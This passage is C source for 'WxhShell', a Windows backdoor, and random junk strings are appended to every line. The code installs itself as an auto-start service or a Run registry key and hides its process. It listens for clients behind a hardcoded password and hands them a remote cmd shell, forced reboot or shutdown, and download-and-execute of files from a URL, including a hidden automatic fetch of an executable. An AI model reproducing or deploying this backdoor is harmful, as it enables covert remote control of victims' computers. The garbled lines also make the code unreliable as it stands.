    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i ev>9j  
    if(Boot(SHUTDOWN)) Bs8[+Ft5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g%a|q~)  
    else { |0.Xl+7  
    closesocket(wsh); 2(M6(xH>  
    ExitThread(0); A}5fCx.{  
    } "e6|"w@8  
    break; iiG f'@/  
    } 8K{[2O7i)  
  // 获取shell 1A<,TFg  
  case 's': { q; ji w#_  
    CmdShell(wsh); ~n?>[88"  
    closesocket(wsh); (GcT(~Gq)D  
    ExitThread(0); zhblLBpeE\  
    break; SDYv(^ f ,  
  } 2c(aO[%h9  
  // 退出 Jblj^n?Bm  
  case 'x': { A8DFm{})c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3y A2WW  
    CloseIt(wsh); ,v9f~qh  
    break; <>Y?v C  
    } ROc`BH=  
  // 离开 iv&v8;B  
  case 'q': { q,%:h`t\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cz/Q/%j$/  
    closesocket(wsh); z[EFQ^*>  
    WSACleanup(); yT8=l"-[G  
    exit(1); :+rUBYWx  
    break; O+~ 7l?o  
        } 'ZP)cI:+X  
  } YB,t0%vTJw  
  } Sw[{JB;y,  
,Hn^z<f   
  // 提示信息 p'94SXO_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RA O`i>@  
} &miexSNeF  
  } +iO/m  
!>z:m!MlQ  
  return; %rkk>m  
} `ln1$  
D y-S98Y  
// shell模块句柄 ]J7Qgp)i  
int CmdShell(SOCKET sock) 9`Q<Yy"du  
{ $s5a G)?7  
STARTUPINFO si; ^U[D4UM  
ZeroMemory(&si,sizeof(si)); :dI\z]Y(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CC^E_jT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %^]?5a!  
PROCESS_INFORMATION ProcessInfo; k1 -~  
char cmdline[]="cmd"; #Q"O4 b:8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w ej[+y-  
  return 0; %A/_5;PZ/  
} 1|r,dE2k9  
sTRJ:fR  
// 自身启动模式 O) atNE   
int StartFromService(void) ;]sYf  
{ ` `U^COD  
typedef struct q'Wr[A40j  
{ >rsqH+oL  
  DWORD ExitStatus; !g!5_ |  
  DWORD PebBaseAddress; qJ4T]FVN  
  DWORD AffinityMask; `D$Jv N  
  DWORD BasePriority; 9W ^xlid6  
  ULONG UniqueProcessId; ~|ss*`CT  
  ULONG InheritedFromUniqueProcessId; "= / f$Xf  
}   PROCESS_BASIC_INFORMATION; ^wb:C[r!V  
>Z.\J2wM<j  
PROCNTQSIP NtQueryInformationProcess; 6uPcXd:8ZR  
5ExDB6Bx@y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Px FWJ?=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DL'iS  
8flOq"uK^  
  HANDLE             hProcess; [U@; \V$  
  PROCESS_BASIC_INFORMATION pbi; UBv@+\Y8m  
v *-0M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @%ip7Y]e  
  if(NULL == hInst ) return 0; cTTW06^  
-_ C#wtC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Kf tgOG f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8T)&`dM6P~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T:]L/wCj  
$Xm6N@  
  if (!NtQueryInformationProcess) return 0; q$(5Vd:  
bg,9@ }"F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5{e,L>H<  
  if(!hProcess) return 0; |*/[`|*G  
3DgsI7-F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sZ,Y60s8a  
L"jY+{oLIJ  
  CloseHandle(hProcess); B.r4$:+jb2  
($w@Z/;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~Nf})U  
if(hProcess==NULL) return 0; 66x?A0P  
$$APgj"|<  
HMODULE hMod; HB+|WW t>  
char procName[255]; EtbnE*S  
unsigned long cbNeeded; xL|;VyD  
S"Lx%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j>uj=B@  
;V^pL((5J  
  CloseHandle(hProcess); @fv}G>t  
ez]tAW  
if(strstr(procName,"services")) return 1; // 以服务启动 <f@"HG l  
zZcnijWb  
  return 0; // 注册表启动 {@! Kx`(:  
} k>x&Ip8p  
;Gx)Noo/>  
// 主模块 O$/o'"@ /  
int StartWxhshell(LPSTR lpCmdLine) r(d':LV  
{ 5DOBs f8Jo  
  SOCKET wsl; i%e7LJ@5AW  
BOOL val=TRUE; n Ox4<Wk&  
  int port=0; nJ4pTOc  
  struct sockaddr_in door; .itw04Uru  
toN^0F?Qm  
  if(wscfg.ws_autoins) Install(); cdqB,]"  
X\EVTd)@  
port=atoi(lpCmdLine); 2(5ebe[  
qTZFPfyU  
if(port<=0) port=wscfg.ws_port; n  -(  
Hbv6_H  
  WSADATA data; qW:HNEiir  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kmzH'wktt  
6T 8!xyi-+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DCqY|4Qc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .ERO|$fv  
  door.sin_family = AF_INET; Oo kh<ES>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f&v9Q97=  
  door.sin_port = htons(port); "ju6XdZo  
;7N{^"r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { AJ#Nenmj  
closesocket(wsl); R.=}@oPb  
return 1; g&/T*L  
} aQ :5d3m0  
y.KO :P?5{  
  if(listen(wsl,2) == INVALID_SOCKET) { rZ8`sIWQt  
closesocket(wsl); ODZ|bN0>  
return 1; W9NX=gE4  
} lHgs;>U$  
  Wxhshell(wsl); Xpzfm7CB/  
  WSACleanup(); cGjPxG;  
\&U>LwZd?  
return 0; Ft}@ 1w5  
9tF9T\jW  
} #o1=:PQaC  
 : ]C~gc  
// 以NT服务方式启动 RKPO#qju\F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ua!aaq&  
{ 6@DF  
DWORD   status = 0; fb^fVSh>  
  DWORD   specificError = 0xfffffff; J:V?EE,\-  
jy-{~xdg[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >/|q:b^2r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /SYw;<=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @)J+,tg/7  
  serviceStatus.dwWin32ExitCode     = 0; M4as  
  serviceStatus.dwServiceSpecificExitCode = 0; ;!(<s,c#:  
  serviceStatus.dwCheckPoint       = 0; *z@>!8?  
  serviceStatus.dwWaitHint       = 0; j?'GZ d"B  
98^V4maR:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t!RiUZAo  
  if (hServiceStatusHandle==0) return; !47n[Zs  
<[w=TdCPs  
status = GetLastError(); #%DE;  
  if (status!=NO_ERROR) ):iA\A5q[  
{ -GxaV #{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;*MLRXq  
    serviceStatus.dwCheckPoint       = 0; |\pbir  
    serviceStatus.dwWaitHint       = 0; 3Z1CWzq(  
    serviceStatus.dwWin32ExitCode     = status; O({2ivX  
    serviceStatus.dwServiceSpecificExitCode = specificError; `V##Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .V,@k7U,V  
    return; FSND>\>  
  } p, #o<W  
P&f7@MOV.P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J{Q|mD=  
  serviceStatus.dwCheckPoint       = 0; ~@}Bi@*  
  serviceStatus.dwWaitHint       = 0; eio 4k-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B {>7-0  
} e%b6(%  
s0vDHkf8  
// 处理NT服务事件,比如:启动、停止 \-g)T}g,I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |ZmUNiAa  
{ VVlr*`  
switch(fdwControl) q<M2,YrbAI  
{ n rjE.+v  
case SERVICE_CONTROL_STOP: a |X a3E  
  serviceStatus.dwWin32ExitCode = 0; /'/Xvm3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $&=S#_HQS  
  serviceStatus.dwCheckPoint   = 0; LGn:c;  
  serviceStatus.dwWaitHint     = 0; n@) K #  
  { $` ""  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |p,P46I  
  } kDsFR#w&`  
  return; \.-bZ$  
case SERVICE_CONTROL_PAUSE: T:~vk.Or  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FYpzQ6s~  
  break; x7Yu I  
case SERVICE_CONTROL_CONTINUE: V-BiF>+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m^zUmrj[  
  break; 6e |*E`I  
case SERVICE_CONTROL_INTERROGATE: HAa; hb  
  break; yU*8|FQbP  
}; nlc "c5;jh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p>huRp^w  
} $&n=$C&x  
F1yqxWHeo  
// 标准应用程序主函数 [1S|dc>.O%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) " )1V]}+m  
{ cz8T  
p^w;kN  
// 获取操作系统版本 lN Yt`xp  
OsIsNt=GetOsVer(); JJN.ugT}1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M<v%CawS  
t7aefV&_,  
  // 从命令行安装 :/nj@X6  
  if(strpbrk(lpCmdLine,"iI")) Install(); cPlZXf  
H*PSR  
  // 下载执行文件 eceP0x  
if(wscfg.ws_downexe) { fumm<:<CLO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 50S&m+4d+  
  WinExec(wscfg.ws_filenam,SW_HIDE); _z|65H  
} C&(N I  
Yo6*C  
if(!OsIsNt) { |IzPgC  
// 如果时win9x,隐藏进程并且设置为注册表启动 [<@.eH$hU/  
HideProc(); + R~'7*EI  
StartWxhshell(lpCmdLine); &OH={Au  
} Fww :$^_ k  
else W:pIPDx1=!  
  if(StartFromService()) pOIJH =#  
  // 以服务方式启动 cQ R]le %(  
  StartServiceCtrlDispatcher(DispatchTable); k5'Vy8q  
else p$] 3'jw  
  // 普通方式启动 o6.^*%kM'  
  StartWxhshell(lpCmdLine); b gK}-EU  
Po^?QVJ7  
return 0; zBzZxK>$  
} W')Yg5T  
VY7[)  
_l8 9  
0x@6^ %^\  
=========================================== *Q "wwpl?  
[1Qo#w1  
+nFu|qM}  
<Z mg#  
lR6@ xJd:@  
n{ar gI8wF  
" m#| 9hMu  
Q+{xZ'o"Z  
#include <stdio.h> A P?R"%  
#include <string.h> &w_j/nW^'  
#include <windows.h> YJT&{jYi  
#include <winsock2.h> ~:s>aQ`!  
#include <winsvc.h> 12b(A+M   
#include <urlmon.h> G[uK-U  
.ypL=~Rp  
#pragma comment (lib, "Ws2_32.lib") T $>&[f$6  
#pragma comment (lib, "urlmon.lib") ?]_$Dcmx  
bN1|q| 9  
#define MAX_USER   100 // 最大客户端连接数 %K=?@M9i  
#define BUF_SOCK   200 // sock buffer <lPm1/8  
#define KEY_BUFF   255 // 输入 buffer *v!9MU9[(  
BYL)nCc  
#define REBOOT     0   // 重启 /T0F"e)Ci  
#define SHUTDOWN   1   // 关机 1Y\DJ@lh  
) j#`r/  
#define DEF_PORT   5000 // 监听端口 FpmM63$VN[  
2*;~S4 4  
#define REG_LEN     16   // 注册表键长度 H)kwQRfu  
#define SVC_LEN     80   // NT服务名长度 3nO]Ge"w'n  
P64PPbP  
// 从dll定义API _Xe>V0   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); un mJbY;t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O:;w3u7;u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c_$=-Khk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -P$PAg5"2  
%rL.|q9  
// wxhshell配置信息 )l C)@H}  
struct WSCFG { O`IQ(,yef  
  int ws_port;         // 监听端口 'T*&'RQr  
  char ws_passstr[REG_LEN]; // 口令  dVtG/0  
  int ws_autoins;       // 安装标记, 1=yes 0=no pZ.ecZe/  
  char ws_regname[REG_LEN]; // 注册表键名 NvceYKp:  
  char ws_svcname[REG_LEN]; // 服务名 S6Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -">;-3,K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u5`u>.!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -:+|zF@f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oM>l#><nq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r= `Jn6@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PbJ(:`u  
w e//|fA<  
}; cJ= 6r :  
$f <(NM6?  
// default Wxhshell configuration ]nn98y+  
struct WSCFG wscfg={DEF_PORT, %D{6[8  
    "xuhuanlingzhe", i &nSh ]KK  
    1, ]g3JZF-  
    "Wxhshell", BO?%'\  
    "Wxhshell", zZPO&akB"  
            "WxhShell Service", nV|EQs4(  
    "Wrsky Windows CmdShell Service", mp1@|*Sn  
    "Please Input Your Password: ", Uiw2oi&_  
  1, 3wF;GG  
  "http://www.wrsky.com/wxhshell.exe", nfbR P t  
  "Wxhshell.exe" l ^0@86  
    }; @Md/Q~>  
hR?{3d#x2  
// 消息定义模块 iHM%iUV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UERLtSQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .5_2zat0H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2`K=Hby  
char *msg_ws_ext="\n\rExit."; gh]cXuph  
char *msg_ws_end="\n\rQuit."; ZPLm]I\]  
char *msg_ws_boot="\n\rReboot..."; AofKw  
char *msg_ws_poff="\n\rShutdown..."; I5 p ? [  
char *msg_ws_down="\n\rSave to "; Mk 6(UXY  
Qz1E 2yJ  
char *msg_ws_err="\n\rErr!"; PO: {t  
char *msg_ws_ok="\n\rOK!"; UcHJR"M~c  
Rsm^Z!sn  
char ExeFile[MAX_PATH]; yS'I[l  
int nUser = 0; -$ls(oot  
HANDLE handles[MAX_USER]; 4SxX3Fw  
int OsIsNt; q"lSZ; 'E  
<dtGK~_  
SERVICE_STATUS       serviceStatus; 6@5+m 0`u3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >1Ibc=}g  
)D7m,Wi+  
// 函数声明 D%pF;XY  
int Install(void); `4J$Et%S  
int Uninstall(void); K\Wkoi5  
int DownloadFile(char *sURL, SOCKET wsh); iOghb*aW  
int Boot(int flag); Rr]H y^w  
void HideProc(void); tXs\R(?T  
int GetOsVer(void); k1~&x$G  
int Wxhshell(SOCKET wsl); zY{A'<\O  
void TalkWithClient(void *cs); A|4[vz9>H  
int CmdShell(SOCKET sock); ""G'rN_=Bi  
int StartFromService(void); .uZ3odMlx  
int StartWxhshell(LPSTR lpCmdLine); oJz^|dW  
\!ZTL1b8t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JX;G<lev  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QA`sx  
aeJHMHFc  
// 数据结构和表定义 YK'<NE3 4  
SERVICE_TABLE_ENTRY DispatchTable[] = z>Y-fN`,  
{ +7.',@8_V  
{wscfg.ws_svcname, NTServiceMain}, |0b`fOS  
{NULL, NULL} I+!0O  
}; kgP0x-Ap  
+'HqgSPyb  
// 自我安装 cF}".4|kZ<  
int Install(void) !*N@ZL&X  
{ Bnxm HGP#&  
  char svExeFile[MAX_PATH]; F^;ez/Gl  
  HKEY key; gR;i(81U  
  strcpy(svExeFile,ExeFile); X.{S*E:$u  
\~$#1D1f  
// 如果是win9x系统,修改注册表设为自启动 N~)_DjQP5  
if(!OsIsNt) { FTUv IbT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LU%E:i|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yR{3!{r3(  
  RegCloseKey(key); f.$af4 u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C_JNX9wv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^hM4j{|&M  
  RegCloseKey(key); *.t 7G  
  return 0; Zb>?8  
    } <\^8fn   
  } f2`2,?  
} VY4yS*y  
else { _]H&,</  
yvB.&<]No  
// 如果是NT以上系统,安装为系统服务 Z@!+v 19^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e*NnVys  
if (schSCManager!=0) /nA{#HY  
{ YNF k  
  SC_HANDLE schService = CreateService <PH #[dH  
  ( htF] W|z  
  schSCManager, `M8i92V\qY  
  wscfg.ws_svcname, NZ0;5xGR  
  wscfg.ws_svcdisp, "+G8d' %YV  
  SERVICE_ALL_ACCESS, xi}skA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !Wnb|=j  
  SERVICE_AUTO_START, &Ok):`  
  SERVICE_ERROR_NORMAL, oap4rHk}  
  svExeFile, `d}2O%P  
  NULL, S.NPZ39}ZE  
  NULL, /*mI<[xb  
  NULL, /h3RmUy   
  NULL, h S&R(m  
  NULL + cN8Y}V  
  ); .aQ \jA  
  if (schService!=0) (O3nL.  
  { 2P0*NQ   
  CloseServiceHandle(schService); F={a;Dvrn  
  CloseServiceHandle(schSCManager); UP,c|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 83#mB:^R  
  strcat(svExeFile,wscfg.ws_svcname); }o`76rDN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (f"4,b^]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _q-*7hCQ`  
  RegCloseKey(key); `b$.%S8uj=  
  return 0; !+v$)3u9  
    } 2BwO!Y[  
  } 0@oJFJrO  
  CloseServiceHandle(schSCManager); ud('0 r',D  
} *$g-:ILRuZ  
} uVrd i?3  
 }.6[qk  
return 1; ( a#BV}=  
} v.qrz"98-  
&tj!*k'  
// 自我卸载 P&LsVR{#  
int Uninstall(void) FQ\h4` >B  
{ /%^#8<=|U  
  HKEY key; 3[*}4}k9  
N~'c_l  
if(!OsIsNt) { D*d]aC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]t"Ss_,  
  RegDeleteValue(key,wscfg.ws_regname); PEZ!n.'S  
  RegCloseKey(key); oOFVb5qoFU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fz "Y CHe  
  RegDeleteValue(key,wscfg.ws_regname); 61U09s%\0  
  RegCloseKey(key); .Z *'d  
  return 0; N;`n@9BF  
  } 8Zd]wYO  
} uwGc@xOgg,  
} A.w.rVDD  
else { qIT@g"%}t  
X"%gQ.1|{j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )9]PMA?u  
if (schSCManager!=0) 1$h,m63)  
{ vnuN6M{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ig{0Z">  
  if (schService!=0) f3y=Wxk[  
  { c-sfg>0^  
  if(DeleteService(schService)!=0) { El8,,E  
  CloseServiceHandle(schService); |2A:eI8 ^  
  CloseServiceHandle(schSCManager); y?3; 06y|  
  return 0; K{+2G&i  
  } KMax$  
  CloseServiceHandle(schService); fp"W[S|uL  
  } 4#Jg9o   
  CloseServiceHandle(schSCManager); O;3>sLgc  
} p6S8VA  
} =7UsVn#o  
^S; -fYW2  
return 1; 2GG2jky{/  
} TWX.D`W  
VUuE T  
// 从指定url下载文件 ]6j{@z?{  
int DownloadFile(char *sURL, SOCKET wsh) , W?VhO  
{ .T`%tJ-Em  
  HRESULT hr; Tp2.VIoQ=  
char seps[]= "/"; 1_G^w qk  
char *token; ) )Za&S*<  
char *file; :g/tZd$G5  
char myURL[MAX_PATH]; uPvEwq* C  
char myFILE[MAX_PATH]; {oL>1h,%3?  
xoME9u0x4  
strcpy(myURL,sURL); 1|:KQl2q  
  token=strtok(myURL,seps); UPGtj"2v-  
  while(token!=NULL) s5. CFA  
  { *0ro0Z|Iq  
    file=token; 6 !bsM"F  
  token=strtok(NULL,seps); Q,Eo mt  
  } |w3M7;~eF  
gRzxLf`K  
GetCurrentDirectory(MAX_PATH,myFILE); VIbq:U  
strcat(myFILE, "\\"); E{vbO/|kf  
strcat(myFILE, file); 3OB"#Ap8<  
  send(wsh,myFILE,strlen(myFILE),0); 4skD(au8  
send(wsh,"...",3,0); %a7$QF]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e|r`/:M  
  if(hr==S_OK) x?<FJ"8"k  
return 0; mR)wX 6  
else vP,n(reM  
return 1; N$tGQ@  
_#8MkW#]~  
} "J1 4C9u   
-G=]=f/'  
// 系统电源模块 fV~[;e;U.  
int Boot(int flag) GLODVcjf  
{ ! d gNtI@  
  HANDLE hToken; 1Z&(6cDY8M  
  TOKEN_PRIVILEGES tkp; W*Y/l~x}  
$:^td/p J  
  if(OsIsNt) { Ho]su?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;AG()NjOO:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 19] E 5'AI  
    tkp.PrivilegeCount = 1; ee=D1qNu;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xyxy`qRA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @(lh%@hO  
if(flag==REBOOT) { 7|H$ /]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }QmqoCAE~m  
  return 0; _u Il  
} !n%j)`0M  
else { nr3==21Om4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z@j8lv2j1  
  return 0; H,NF;QPPC  
} &M[?h}B6  
  } R@2X3s:  
  else { C_Wc5{  
if(flag==REBOOT) { '<uq3?5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X wtqi@zlE  
  return 0; h yIV.W/  
} [-x7_=E#  
else { k;W XB|k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `H+ lPM66  
  return 0; 4&iCht =  
} Z30A{6}  
} "wc<B4"  
")25 qZae  
return 1; S|}L&A  
} }K9H^H@r!  
yh=N@Z*zP  
// win9x进程隐藏模块 Bbp|!+KP{(  
void HideProc(void) q cno^8R  
{ LH6 vLuf  
 =BrRYA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K> e7pu  
  if ( hKernel != NULL ) ;n},"&  
  { fXB0j;A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z6m)tZVM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?@89lLD  
    FreeLibrary(hKernel); :v 4]D4\o  
  } paMa+jhQQ  
FgO)DQm  
return; _vZOZKS+  
} LgYq.>Nl9  
[00m/fT6  
// 获取操作系统版本 ,+ ~W4<f  
int GetOsVer(void) I}Q2Vu<  
{ J=yTbSN\v  
  OSVERSIONINFO winfo; 3uMy]HUQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DTs;{c  
  GetVersionEx(&winfo); }~q5w{_n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ']oQ]Yx0  
  return 1; [Nq*BrzF  
  else 2?i7 UvV  
  return 0; L0]_X#s>#  
} eQ}4;^;M-  
<-0]i_4sK  
// 客户端句柄模块 azU"G(6y?+  
int Wxhshell(SOCKET wsl) Y^]rMK/;  
{ O H7FkR  
  SOCKET wsh; =w^M{W.w  
  struct sockaddr_in client;  S[QrS 7  
  DWORD myID; E)3NxmM#  
)}ROLe  
  while(nUser<MAX_USER) (iGTACoF  
{ B?wq=DoG  
  int nSize=sizeof(client); 2+O'9F_v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); We z 5N  
  if(wsh==INVALID_SOCKET) return 1; O'~+_ykTl  
hzC>~Ub5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PRT +mT  
if(handles[nUser]==0) Aa]"   
  closesocket(wsh); t:c.LFrF  
else -.3w^D"l  
  nUser++; @|)Z"m7  
  } L8n|m!MOD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qY#6SO`_iy  
6zn5UW#q  
  return 0; 5:U so{  
} Qci]i)s$js  
-{_PuJ "  
// 关闭 socket =":,.Ttq41  
void CloseIt(SOCKET wsh) 3mni>*q7d  
{ Sx\]!B@DSu  
closesocket(wsh); h.fq,em+H  
nUser--; ,2)6s\]/b  
ExitThread(0); lys#G:H]  
} &~w}_Fjk  
}&3 ~|kP~O  
// 客户端请求句柄 q,6DEz  
void TalkWithClient(void *cs) P }uOJVQ_  
{ $wU\Js`/S]  
u2[w#   
  SOCKET wsh=(SOCKET)cs; A(0lM`X  
  char pwd[SVC_LEN]; fn!KQ`,#  
  char cmd[KEY_BUFF]; 4`R(?  
char chr[1]; RrgGEx  
int i,j; . [ mR M  
*9i{,I@  
  while (nUser < MAX_USER) { |WUG}G")*x  
s9d_GhT%-  
if(wscfg.ws_passstr) { 4Xv*wB1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KY N0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IIqUZJ  
  //ZeroMemory(pwd,KEY_BUFF); D sWS Gb  
      i=0; D,ln)["xm  
  while(i<SVC_LEN) { C8\^#5  
TOAAQ  
  // 设置超时 K4);HJ|=  
  fd_set FdRead; 8x{'@WCG%  
  struct timeval TimeOut; bYPKh  
  FD_ZERO(&FdRead); 'Z|mQZN  
  FD_SET(wsh,&FdRead); ctJE+1#PH  
  TimeOut.tv_sec=8; 8sCv]|cn  
  TimeOut.tv_usec=0; sT' 5%4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]0\MmAJRn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e0 T\tc  
4'Zp-k?5`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OUXR  
  pwd=chr[0]; qyNyBr?  
  if(chr[0]==0xd || chr[0]==0xa) { e~':(/%|5;  
  pwd=0; "wHFN>5B  
  break; ~3 bPIg7D  
  } E+JqWR5  
  i++; V2G6Kw9gt  
    } ]$_NyAoBb  
kSh( u  
  // 如果是非法用户,关闭 socket ?F;8Pa/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ! v0LBe4  
} /FJu)H..U  
})?GzblI&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); = 9]~ yt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )>- =R5ZV  
\'bzt"f$j  
while(1) { eGHaY4|  
+?!(G}5  
  ZeroMemory(cmd,KEY_BUFF); 0K2`-mL  
L,@lp  
      // 自动支持客户端 telnet标准   IN G@B#Cl  
  j=0; ?3xzd P  
  while(j<KEY_BUFF) { F@:'J\I}:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DDH:)=;z  
  cmd[j]=chr[0]; nj53G67y  
  if(chr[0]==0xa || chr[0]==0xd) { Wiu"k%Qsh  
  cmd[j]=0; U`m54f@U  
  break; }AH] th  
  } C73 kJa  
  j++; :4%k9BGAj"  
    } 7Rt9od< )!  
>oe]$r  
  // 下载文件 J9[r|`gJ(  
  if(strstr(cmd,"http://")) { :[!j?)%>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); abLnI =W`  
